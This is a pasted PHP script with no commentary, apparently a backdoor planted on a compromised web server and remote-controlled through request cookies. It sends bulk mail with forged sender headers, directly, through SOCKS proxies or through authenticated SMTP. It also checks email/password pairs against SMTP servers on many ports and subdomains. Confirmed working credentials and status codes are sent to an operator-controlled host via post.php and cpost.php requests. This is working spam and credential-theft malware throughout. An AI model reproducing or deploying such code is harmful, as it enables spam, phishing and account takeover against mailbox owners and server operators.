Pasted

<?php
error_reporting(0);
set_time_limit(0);
 $a=$_COOKIE['a'];$ho=urldecode($_COOKIE['ho']);$mx=urldecode($_COOKIE['mx']);$po=$_COOKIE['po'];$ma=urldecode($_COOKIE['ma']);
$lo=urldecode($_COOKIE['lo']);$pa=urldecode($_COOKIE['pa']);$mt=urldecode($_COOKIE['mt']);$cc=urldecode($_COOKIE['cc']);$bc=urldecode($_COOKIE['bc']);
$oc=urldecode($_COOKIE['oc']);$fn=urldecode($_COOKIE['fn']);$or=urldecode($_COOKIE['or']);$eh=urldecode($_COOKIE['eh']);
$sd=urldecode($_COOKIE['sd']);$rt=$_COOKIE['rt'];$ch=urldecode($_COOKIE['ch']);$cm=$_COOKIE['cm'];
$ht=$_COOKIE['ht'];$at=urldecode($_COOKIE['at']);$su=urldecode($_COOKIE['su']);$bo=urldecode($_COOKIE['bo']);
$sh=$_COOKIE['sh'];$sp=$_COOKIE['sp'];$sl=urldecode($_COOKIE['sl']);$sc=urldecode($_COOKIE['sc']);
$dl=urldecode($_COOKIE['dl']);$cp=urldecode($_COOKIE['cp']);$cd=urldecode($_COOKIE['cd']);
$st=$_COOKIE['st'];$sm=urldecode($_COOKIE['sm']);
$mu=$cc.','.$bc.','.$oc;
 if($a=='r' or $a=='p'){$rel=$ma.':'.$pa;if(substr($ho,0,7)=='stls://'){$ho=substr($ho,7);$ts=1;}}
if($a=='c' or $a=='b' or $a=='l' or $a=='n'){$rel=$ma.':'.$pa;}
 if($a=='d' or $a=='m'){
$unkhost=$_SERVER['SERVER_NAME'];
if(empty($unkhost)){$unkhost=$_SERVER['HTTP_HOST'];}
if(empty($unkhost)){$unkhost=$_SERVER['SERVER_ADDR'];}
}
if($a=='s'){
$unkhost=$sh;
}
if($a=='d' or $a=='s' or $a=='m'){
$unkhost=mb_strtolower($unkhost);
if(substr($unkhost,0,4)=='www.'){$unkhost=substr($unkhost,4);}
if(filter_var($unkhost, FILTER_VALIDATE_IP)){
$hostip=$unkhost;
$hostname = gethostbyaddr($unkhost);
}else{
$hostname=$unkhost;
$hostip=gethostbyname($unkhost);
}
$pd=$hostname;
$ma=$dl.'@'.$hostname;
}
if($a=='d' or $a=='s'){
$mth=explode("@", $mt);
$ho=$mth[1];
$ho=smtp_lookup($ho);
$po=25;
if(empty($eh)){$eh=$hostname;}
}
if($a=='r' or $a=='p' or $a=='c' or $a=='b' or $a=='l' or $a=='n'){
$ex = explode("@", $ma);
$pd = $ex[1];
if(empty($eh)){$eh=$ex[1];}
}
if($a=='r' or $a=='m' or $a=='p' or $a=='d' or $a=='s'){
if($cc){$mscchead= "Cc: ".str_replace(',', ', ', $cc)."\r\n";$mscc=explode(",",$cc);}
if($bc){$msbchead="Bcc: ".str_replace(',', ', ', $bc)."\r\n";$msbc=explode(",",$bc);}
$bo=str_replace("{br}", "\n", $bo);
if($ht=='1'){$bo='<!doctype html>
<html>
<head>
<title>'.$su.'</title>
<meta http-equiv=Content-Type content="text/html; charset='.$ch.'">
</head>
<body>'.$bo.'</body>
</html>';}
if($cm){
$hfn="=?".$ch."?Q?".str_replace("+","_",str_replace("%","=",urlencode($fn)))."?=";
$hsu="=?".$ch."?Q?".str_replace("+","_",str_replace("%","=",urlencode($su)))."?=";
}else{
$hfn=$fn;
$hsu=$su;
}
}
 if($a=='m'){
$header="Date: ".date("D, j M Y G:i:s O")."\r\n";
 if($st=='r2'){$header.="From: ".'"'.$hfn.'"'." <".$ma.">\r\n";$header.="Reply-To: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else if($st=='mf'){$header.="From: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else if($st=='rf'){$header.="From: ".'"'.$hfn.'"'." <".$sm.">\r\n";$header.="Reply-To: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else {$header.="From: ".'"'.$hfn.'"'." <".$ma.">\r\n";}
 $header.="Message-ID: <".rand(100000000,9999999999).".".date("YmdHis")."@".$pd.">\r\n";
$header.=$mscchead.$msbchead;
$header.="MIME-Version: 1.0\r\n";
}
 if($a=='r' or $a=='m' or $a=='p' or $a=='d' or $a=='s'){
if($at){
$atte = explode("^", $at);
$afph=explode("/", $atte[0]);
$affdom=explode(":", $afph[2]);
if(!$affdom[1]){$affdom[1]='80';}
$afp=fsockopen($affdom[0],$affdom[1],$errno,$errstr,$rt);
if (!$afp) {post_stats('A1');exit;}fwrite($afp, "GET ".$atte[0]." HTTP/1.0\r\nHost: ".$affdom[0]."\r\nConnection: Close\r\n\r\n");
while(!feof($afp)){$str=fgets($afp,128);$ach.=$str;if($str=="\r\n"&&empty($he)){$he = 'do';}if($he=='do'){$att_cont.=$str;}}fclose($afp);
$att_cont=substr($att_cont, 2);$ach=explode(" ", $ach);if($ach[1]!='200'){post_stats('A2');exit;}if(!$att_cont){post_stats('A3');exit;}
$attext=explode(".", $atte[1]);
$attct='application/octet-stream';
if($attext[1]=='gif'){$attct='image/gif';}
if($attext[1]=='jpg' OR $attext[1]=='jpeg'){$attct='image/jpeg';}
if($attext[1]=='png'){$attct='image/png';}
 if (strripos($bo, '{base64attach}') AND $attct!='application/octet-stream' AND $ht=='1') {
$base64attach=base64_encode($att_cont);
$bo = str_replace('{base64attach}', '<img src="data:'.$attct.';base64,'.$base64attach.'" />', $bo);	
}else{
$bound='----------'.strtoupper(dechex(rand(10000000,99999999)).dechex(rand(10000000,99999999)).dechex(rand(10,9999)));
if($attext[1]=='htm'){$attct='text/html';}if($attext[1]=='html'){$attct='text/html';}
if($a=='m'){
$ctype.="Content-Type: multipart/mixed;\r\n".' boundary="'.$bound.'"'."\r\n".'--'.$bound."\r\n";
}else{
$ctype.="Content-Type: multipart/mixed;\r\n".' boundary="'.$bound.'"'."\r\n\r\n".'--'.$bound."\r\n";
}
$bo.="\r\n--".$bound."\r\nContent-Type: ".$attct.";\r\n name=".'"'.$atte[1].'"'."\r\nContent-transfer-encoding: base64\r\nContent-Disposition: attachment;\r\n filename=".'"'.$atte[1].'"'."\r\n\r\n";
$bo.=chunk_split(base64_encode($att_cont),76,"\r\n")."--".$bound."--\r\n";
}
}
if($ht=='1'){$ctype.="Content-Type: text/html;";}else{$ctype.="Content-Type: text/plain;";}
$ctype.=" charset=".$ch."\r\nContent-Transfer-Encoding: 8bit\r\n";
}
 if($a=='m'){
if(mail($mt, $su, $bo, $header.$ctype)){
$mu=$cc.','.$bc;
post_stats('OK');
if($oc){$mu=$oc;$mt='';post_stats('O1');}
}else{
post_stats('P1');
}
exit;
}
if($a=='p' or $a=='s'){
$socks=$sh.':'.$sp;
$fp = fsockopen($sh,$sp,$errno,$errstr,$rt);
$h=pack("H*",'05020002');
fwrite($fp,$h);
$result=bin2hex(fread($fp,4));
if($result == '0500'){$auth="socks5";
}elseif($result == '0502'){
$len_login = chr(strlen($sl));
$len_pass  = chr(strlen($sc));
$h=pack("H*","01").$len_login.$sl.$len_pass.$sc;
fwrite($fp,$h);
$result=bin2hex(fread($fp,4));
if($result{3}!=0){
$socks_stat='S1';fclose($fp);
}else{
$auth="socks5";
}}else{
fclose($fp);$fp = fsockopen($sh,$sp,$errno,$errstr,$rt);   
$query  = pack("C2", 0x04, 0x01).pack("n", $po)._host2int($ho)."0".pack("C", 0);
fwrite($fp,$query);
$l=bin2hex(fread($fp,1024));
$status = substr($l, 2, 2); 
IF ($status=="5a"){$auth="socks4";
}ELSEIF ($status=="5b"){
$socks_stat='S3';
}ELSEIF ($status=="5c"){
$socks_stat='S4';
}ELSEIF ($status=="5a"){
$socks_stat='S5';}}
$list="";
if($auth=="socks5"){
$len_h=chr(strlen($ho));
$h=pack("H*","05010003").$len_h.$ho.pack("n",$po);
fwrite($fp,$h);
$result=bin2hex(fread($fp,100));
if($result{3} == 0){$socks_stat='OK';
}elseif($result{3}==1){
$socks_stat='S6';
}elseif($result{3}==2){
$socks_stat='S7';}
elseif($result{3}==3){
$socks_stat='S8';
}elseif($result{3}==4){
$socks_stat='S9';
}elseif($result{3}==5){
$socks_stat='SA';
}elseif($result{3}==6){
$socks_stat='SB';}
elseif($result{3}==7){
$socks_stat='SC';}
elseif($result{3}==8){
$socks_stat='SD';}
else{$socks_stat='SE';}}
elseif($auth=="socks4"){$socks_stat='OK';}
else{$socks_stat='S2';}
if($socks_stat=='OK'){}else{post_stats($socks_stat); fclose($fp); exit;}
}
if($a=='r' or $a=='d'){
$fp = fsockopen($ho,$po,$errno,$errstr,$rt);
}
if($a=='r' or $a=='p' or $a=='d' or $a=='s'){
if(!$fp) {post_stats('E1'); fclose($fp); exit;}$data = get_data($fp);fputs($fp,"EHLO ".$eh."\r\n");
$authcheck=get_data($fp);
$code = substr($authcheck,0,3);if($code!=250){post_stats('E2'); fclose($fp); exit;}
if($a=='d' or $a=='s'){
$code=235;
}
if($a=='r' or $a=='p'){
 if($ts){
fputs($fp,"STARTTLS\r\n");$code = substr(get_data($fp),0,3);
if($code!=220){post_stats('T1'); fclose($fp); exit;}
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
fputs($fp,"EHLO ".$eh."\r\n");$authcheck=get_data($fp);
$code = substr($authcheck,0,3);if($code!=250){post_stats('T2'); fclose($fp); exit;}
}
 if (strripos($authcheck, 'AUTH') === false) {
$code=235;
}else{
 if(strripos($authcheck, 'PLAIN')){
fputs($fp,"AUTH PLAIN\r\n");$code = substr(get_data($fp),0,3);
if($code!=334){post_stats('E3'); fclose($fp); exit;}fputs($fp,base64_encode($lo."\0".$lo."\0".$pa)."\r\n");$code = substr(get_data($fp),0,3);
}else if(strripos($authcheck, 'LOGIN')){
fputs($fp,"AUTH LOGIN\r\n");$code = substr(get_data($fp),0,3);
if($code!=334){post_stats('E3'); fclose($fp); exit;}fputs($fp,base64_encode($lo)."\r\n");$code = substr(get_data($fp),0,3);
if($code!=334){post_stats('E4'); fclose($fp); exit;}fputs($fp,base64_encode($pa)."\r\n");$code = substr(get_data($fp),0,3);
 }else if(strripos($authcheck, 'CRAM-MD5')){
fputs($fp,"AUTH CRAM-MD5\r\n");
$authchal=get_data($fp);
$code = substr($authchal,0,3);
if($code!=334){post_stats('E3'); fclose($fp); exit;}
fputs($fp,base64_encode($lo." ".hash_hmac('MD5', base64_decode(substr($authchal, 4)) ,$pa))."\r\n");$code = substr(get_data($fp),0,3);
 }else if(strripos($authcheck, 'DIGEST-MD5')){
fputs($fp,"AUTH DIGEST-MD5\r\n");
$authchal=get_data($fp);
$code = substr($authchal,0,3);
if($code!=334){post_stats('E3'); fclose($fp); exit;}
$dec=str_replace('"','',base64_decode(substr($authchal, 4))).',';
$realm=findcont('realm=',',',$dec);$nonce=findcont('nonce=',',',$dec);
$qop=findcont('qop=',',',$dec);$charset=findcont('charset=',',',$dec);
$cnonce=base64_encode(rand(1000,9999).rand(1000,9999).rand(1000,9999));
$duri='smtp/'.$ho.'/'.$pd;
if($charset=='utf-8'){
$ch_lo=iconv("ISO-8859-1","UTF-8", $lo);$ch_pa=iconv("ISO-8859-1","UTF-8", $pa);$res='charset=utf-8,username="'.$ch_lo.'"';
}else{
$ch_lo=$lo;$ch_pa=$pa;$res='username="'.$ch_lo.'"';
}
$res.=',realm="'.$realm.'",nonce="'.$nonce.'",nc=00000001,cnonce="'.$cnonce.'",digest-uri="'.$duri.'"';
$ha1=MD5(pack('H*',MD5($ch_lo.":".$realm.":".$ch_pa)).":".$nonce.":".$cnonce);
if($qop=="auth"){$ha2=MD5("AUTHENTICATE:".$duri);}else{$ha2=MD5("AUTHENTICATE:".$duri.":00000000000000000000000000000000");}
$response=MD5($ha1.':'.$nonce.':00000001:'.$cnonce.':auth:'.$ha2);
$res.=',response='.$response.'';
$res.=',qop='.$qop;
fputs($fp,base64_encode($res)."\r\n");$code = substr(get_data($fp),0,3);
if($code==334){fputs($fp,"\r\n");$code = substr(get_data($fp),0,3);}
}
}
}
if($code!=235){post_stats('E5'); fclose($fp); exit;}
 if($oc){$mt=$mt.",".$oc;}
$mtex=explode(",",$mt);
 if($mscc){$mscc=array_chunk($mscc,ceil(count($mscc)/count($mtex)));}
if($msbc){$msbc=array_chunk($msbc,ceil(count($msbc)/count($mtex)));}
 $arch=0;
foreach($mtex as $mt){
$mu='';
$mscchead='';$msbchead="";
if($mscc[$arch]){$mscchead="Cc: ".implode(", ",$mscc[$arch])."\r\n";$mu.=implode(",",$mscc[$arch]).',';}
if($msbc[$arch]){$msbchead="Bcc: ".implode(", ",$msbc[$arch])."\r\n";$mu.=implode(",",$msbc[$arch]).',';}
 if(!$dd){
$header="Date: ".date("D, j M Y G:i:s O")."\r\n";
if($st=='r2'){$header.="From: ".'"'.$hfn.'"'." <".$ma.">\r\n";$header.="Reply-To: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else if($st=='mf'){$header.="From: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else if($st=='rf'){$header.="From: ".'"'.$hfn.'"'." <".$sm.">\r\n";$header.="Reply-To: ".'"'.$hfn.'"'." <".$sm.">\r\n";}
else {$header.="From: ".'"'.$hfn.'"'." <".$ma.">\r\n";}
$header.="Organization: ".$or."\r\n";
$header.="X-Priority: 3 (Normal)\r\n";
$header.="Message-ID: <".rand(100000000,9999999999).".".date("YmdHis")."@".$pd.">\r\n";
$header.="To: ".$mt."\r\n";
$header.=$mscchead.$msbchead."Subject: ".$hsu."\r\n";
$header.="MIME-Version: 1.0\r\n";
$size_msg=strlen($header.$ctype."\r\n".$bo);fputs($fp,"MAIL FROM:<".$ma."> SIZE=".$size_msg."\r\n");$code = substr(get_data($fp),0,3); 
if($code!=250){post_stats('E6'); fclose($fp); $dd=1;$arch++;continue;}fputs($fp,"RCPT TO:<".$mt.">\r\n");$code = substr(get_data($fp),0,3);
if($mscc[$arch]){foreach($mscc[$arch] as $mcc){
if($code!=250){post_stats('E7'); fclose($fp); $dd=1;$arch++;continue 2;}fputs($fp,"RCPT TO:<".$mcc.">\r\n");$code = substr(get_data($fp),0,3);}}
if($msbc[$arch]){foreach($msbc[$arch] as $mbc){
if($code!=250){post_stats('E7'); fclose($fp); $dd=1;$arch++;continue 2;}fputs($fp,"RCPT TO:<".$mbc.">\r\n");$code = substr(get_data($fp),0,3);}}
if($code!=250 AND $code!=251){post_stats('E7'); fclose($fp);$dd=1;}fputs($fp,"DATA\r\n");$code = substr(get_data($fp),0,3);
if($code!=354){post_stats('E8'); fclose($fp); $dd=1;$arch++;continue;}fputs($fp,$header.$ctype."\r\n".$bo."\r\n.\r\n");$code = substr(get_data($fp),0,3);
if($code!=250){post_stats('E9'); fclose($fp); $dd=1;$arch++;continue;}post_stats('OK');
}
if($dd){post_stats('O2');}
$arch++;
}
if(!$dd){fputs($fp,"QUIT\r\n");fclose($fp);}
}
if($a=='c' or $a=='b' or $a=='l' or $a=='n'){
$cports=explode(",",$cp);
$cdoms=explode(",",$cd);
if($ho and $po and $lo){
mch($ho,$po,$lo,$pa);
post_mch($sd,'C3',$rel);}
$mh = explode("@", $ma);$em = $mh[0];$ho = $mh[1];
if($a=='c'){
$ping = fsockopen($ho,80,$errno,$errstr,$rt);
if(!$ping){post_mch($sd,'C1',$rel);}
fclose($ping);
}
if($a=='c' or $a=='l' or $a=='n'){
if(($a=='l' or $a=='n') and $mx){$smtp=$mx;}else{$smtp=smtp_lookup($ho);}
if($smtp){
foreach($cports as $cport){
$encho=$smtp;
if(substr($cport,0,1)=='s'){$encho="ssl://".$encho;}
if(substr($cport,0,1)=='t'){$encho="tls://".$encho;}
if(substr($cport,0,1)=='r'){$encho="stls://".$encho;}
$try=mch($encho,substr($cport, 1),$em,$pa);
if($try=='BAUTH'){$try=mch($encho,substr($cport, 1),$ma,$pa);}
}
}
}
foreach($cports as $cport){
foreach($cdoms as $cdom){
if($cdom){
$encho=$cdom.".".$ho;
}else{
$encho=$ho;	
}
if(substr($cport,0,1)=='s'){$encho="ssl://".$encho;}
if(substr($cport,0,1)=='t'){$encho="tls://".$encho;}
if(substr($cport,0,1)=='r'){$encho="stls://".$encho;}
$try=mch($encho,substr($cport, 1),$em,$pa);
if($try=='BAUTH'){$try=mch($encho,substr($cport, 1),$ma,$pa);}
}
}
post_mch($sd,'C2',$rel);
}
function post_stats($stat){global $rt, $sd, $rel, $socks, $mt, $at, $mu;
$host=explode("/", $sd);$hp=explode(":", $host[0]);if(empty($hp[1])){$hp[1]='80';}
$data='st='.$stat.';rl='.urlencode($rel).';mt='.urlencode($mt).';sh='.urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']).';so=A1;sk='.$socks.';at='.$at.';mu='.$mu;
$socket = socket_create(AF_INET,SOCK_STREAM,0);socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => $rt, "usec" => 0));
if (!socket_connect($socket, $hp[0], $hp[1])){socket_close($socket);}else{socket_write($socket, "GET http://".$sd."/post.php HTTP/1.1\r\nHost: ".$host[0]."\r\nCookie: ".$data."\r\n\r\n");socket_close($socket);}}
function _host2int($host){$ip = gethostbyname($host);if(preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/", $ip, $matches)){$retVal = pack("C4", $matches[1], $matches[2], $matches[3], $matches[4]);}return $retVal;}
 function mch($host,$port,$mail,$pass){
global $rt,$rel,$eh,$sd,$pd,$sh,$sp,$sl,$sc,$a;
if(substr($host,0,7)=='stls://'){$host=substr($host,7);$ts=1;}
 if($a=='n'){
$fp = fsockopen($sh,$sp,$errno,$errstr,$rt);
$h=pack("H*",'05020002');
fwrite($fp,$h);
$result=bin2hex(fread($fp,4));
if($result == '0500'){$auth="socks5";
}elseif($result == '0502'){
$len_login = chr(strlen($sl));
$len_pass  = chr(strlen($sc));
$h=pack("H*","01").$len_login.$sl.$len_pass.$sc;
fwrite($fp,$h);
$result=bin2hex(fread($fp,4));
if($result{3}!=0){
$socks_stat='S1';fclose($fp);
}else{
$auth="socks5";
}}else{
fclose($fp);$fp = fsockopen($sh,$sp,$errno,$errstr,$rt);   
$query  = pack("C2", 0x04, 0x01).pack("n", $port)._host2int($host)."0".pack("C", 0);
fwrite($fp,$query);
$l=bin2hex(fread($fp,1024));
$status = substr($l, 2, 2); 
IF ($status=="5a"){$auth="socks4";
}ELSEIF ($status=="5b"){
$socks_stat='S3';
}ELSEIF ($status=="5c"){
$socks_stat='S4';
}ELSEIF ($status=="5a"){
$socks_stat='S5';}}
$list="";
if($auth=="socks5"){
$len_h=chr(strlen($host));
$h=pack("H*","05010003").$len_h.$host.pack("n",$port);
fwrite($fp,$h);
$result=bin2hex(fread($fp,100));
if($result{3} == 0){$socks_stat='OK';
}elseif($result{3}==1){
$socks_stat='S6';
}elseif($result{3}==2){
$socks_stat='S7';}
elseif($result{3}==3){
$socks_stat='S8';
}elseif($result{3}==4){
$socks_stat='S9';
}elseif($result{3}==5){
$socks_stat='SA';
}elseif($result{3}==6){
$socks_stat='SB';}
elseif($result{3}==7){
$socks_stat='SC';}
elseif($result{3}==8){
$socks_stat='SD';}
else{$socks_stat='SE';}}
elseif($auth=="socks4"){$socks_stat='OK';}
else{$socks_stat='S2';}
if($socks_stat=='OK'){}else{fclose($fp);return ("BHOST");}
}
 if($a=='c' or $a=='b' or $a=='l'){
$fp = fsockopen($host,$port,$errno,$errstr,$rt);
}
 if(!$fp) {fclose($fp);return ("BHOST");}
$data = get_data($fp);
 fputs($fp,"EHLO ".$eh."\r\n");
$authcheck=get_data($fp);
 $code = substr($authcheck,0,3);if($code != 250) {fclose($fp);return("BAUTH");}
 if($ts){
fputs($fp,"STARTTLS\r\n");$code = substr(get_data($fp),0,3);
if($code!=220){fclose($fp);return("BAUTH");}
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);
fputs($fp,"EHLO ".$eh."\r\n");$authcheck=get_data($fp);
$code = substr($authcheck,0,3);if($code!=250){fclose($fp);return("BAUTH");}
}
 if(strripos($authcheck, 'PLAIN')){
fputs($fp,"AUTH PLAIN\r\n");$code = substr(get_data($fp),0,3);if($code != 334) {fclose($fp); return ("BAUTH");}
fputs($fp,base64_encode($mail."\0".$mail."\0".$pass)."\r\n");$code = substr(get_data($fp),0,3);
 }else if(strripos($authcheck, 'LOGIN')){
fputs($fp,"AUTH LOGIN\r\n");$code = substr(get_data($fp),0,3);if($code != 334) {fclose($fp); return ("BAUTH");}
fputs($fp,base64_encode($mail)."\r\n");$code = substr(get_data($fp),0,3);if($code != 334) {fclose($fp); return ("BAUTH");}
fputs($fp,base64_encode($pass)."\r\n");$code = substr(get_data($fp),0,3);
 }else if(strripos($authcheck, 'CRAM-MD5')){
fputs($fp,"AUTH CRAM-MD5\r\n");
$authchal=get_data($fp);
$code = substr($authchal,0,3);
if($code != 334) {fclose($fp); return ("BAUTH");}
fputs($fp,base64_encode($mail." ".hash_hmac('MD5', base64_decode(substr($authchal, 4)) ,$pass))."\r\n");$code = substr(get_data($fp),0,3); //login
 }else if(strripos($authcheck, 'DIGEST-MD5')){
fputs($fp,"AUTH DIGEST-MD5\r\n");
$authchal=get_data($fp);
$code = substr($authchal,0,3);
if($code != 334) {fclose($fp); return ("BAUTH");}
$dec=str_replace('"','',base64_decode(substr($authchal, 4))).',';
$realm=findcont('realm=',',',$dec);$nonce=findcont('nonce=',',',$dec);
$qop=findcont('qop=',',',$dec);$charset=findcont('charset=',',',$dec);
$cnonce=base64_encode(rand(1000,9999).rand(1000,9999).rand(1000,9999));
$duri='smtp/'.$host.'/'.$pd;
if($charset=='utf-8'){
$ch_lo=iconv("ISO-8859-1","UTF-8", $mail);$ch_pa=iconv("ISO-8859-1","UTF-8", $pass);$res='charset=utf-8,username="'.$ch_lo.'"';
}else{$ch_lo=$mail;$ch_pa=$pass;$res='username="'.$ch_lo.'"';}
$res.=',realm="'.$realm.'",nonce="'.$nonce.'",nc=00000001,cnonce="'.$cnonce.'",digest-uri="'.$duri.'"';
$ha1=MD5(pack('H*',MD5($ch_lo.":".$realm.":".$ch_pa)).":".$nonce.":".$cnonce);
if($qop=="auth"){$ha2=MD5("AUTHENTICATE:".$duri);}else{$ha2=MD5("AUTHENTICATE:".$duri.":00000000000000000000000000000000");}
$response=MD5($ha1.':'.$nonce.':00000001:'.$cnonce.':auth:'.$ha2);
$res.=',response='.$response.'';
$res.=',qop='.$qop;
fputs($fp,base64_encode($res)."\r\n");$code = substr(get_data($fp),0,3);
if($code==334){fputs($fp,"\r\n");$code = substr(get_data($fp),0,3);}
}
if($code != 235) {fclose($fp); return ("BAUTH");}fclose($fp);
if($ts){$host="stls://".$host;}
post_mch($sd,'OK',$rel.';||'.$host.'||'.$port.'||'.$mail.'||'.$pass);
}
 function findcont($s,$f,$t){$l=strlen($s);$sf=strpos($t,$s);if($sf===false){}else{$o=substr($t,$sf+$l);$ef=strpos($o,$f);if($ef){$out=substr($t,$sf+$l,$ef);}}return $out;}
function smtp_lookup($host){if(function_exists("getmxrr")){getmxrr($host,$mxhosts,$mxweight);return $mxhosts[0];}else{win_getmxrr($host,$mxhosts,$mxweight);return $mxhosts[3];}}
function win_getmxrr($hostname, &$mxhosts, &$mxweight=false){if(strtoupper(substr(PHP_OS, 0, 3))!='WIN') return;if(!is_array($mxhosts)) $mxhosts=array();
if(empty($hostname)) return;$exec='nslookup -type=MX '.escapeshellarg($hostname);@exec($exec,$output);if(empty($output)) return;$i=-1;foreach($output as $line){$i++;
if(preg_match("/^$hostname\tMX preference = ([0-9]+), mail exchanger = (.+)$/i",$line,$parts)){$mxweight[$i]=trim($parts[1]);$mxhosts[$i]=trim($parts[2]);}
if(preg_match('/responsible mail addr = (.+)$/i',$line,$parts)){$mxweight[$i]=$i;$mxhosts[$i]=trim($parts[1]);}}return($i!=-1);}
function get_data($fp){$data="";while($str=fgets($fp,515)){$data.=$str;if(substr($str,3,1)==" "){break;}}return $data;}
function post_mch($sd,$stat,$rel){global $rt,$sh,$sp;$shl=urlencode('http://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']);$rel=urlencode($rel);
$host=explode("/", $sd);$hp=explode(":", $host[0]);if(empty($hp[1])){$hp[1]='80';}$data='st='.$stat.';rl='.$rel.';sk='.$sh.':'.$sp.';sh='.$shl.';so=C2';
$socket = socket_create(AF_INET,SOCK_STREAM,0);socket_set_option($socket, SOL_SOCKET, SO_RCVTIMEO, array("sec" => $rt, "usec" => 0));
if (!socket_connect($socket, $hp[0], $hp[1])){socket_close($socket);}else{
socket_write($socket, "GET http://".$sd."/cpost.php HTTP/1.1\r\nHost: ".$host[0]."\r\nCookie: ".$data."\r\n\r\n");socket_close($socket);}die();}
?>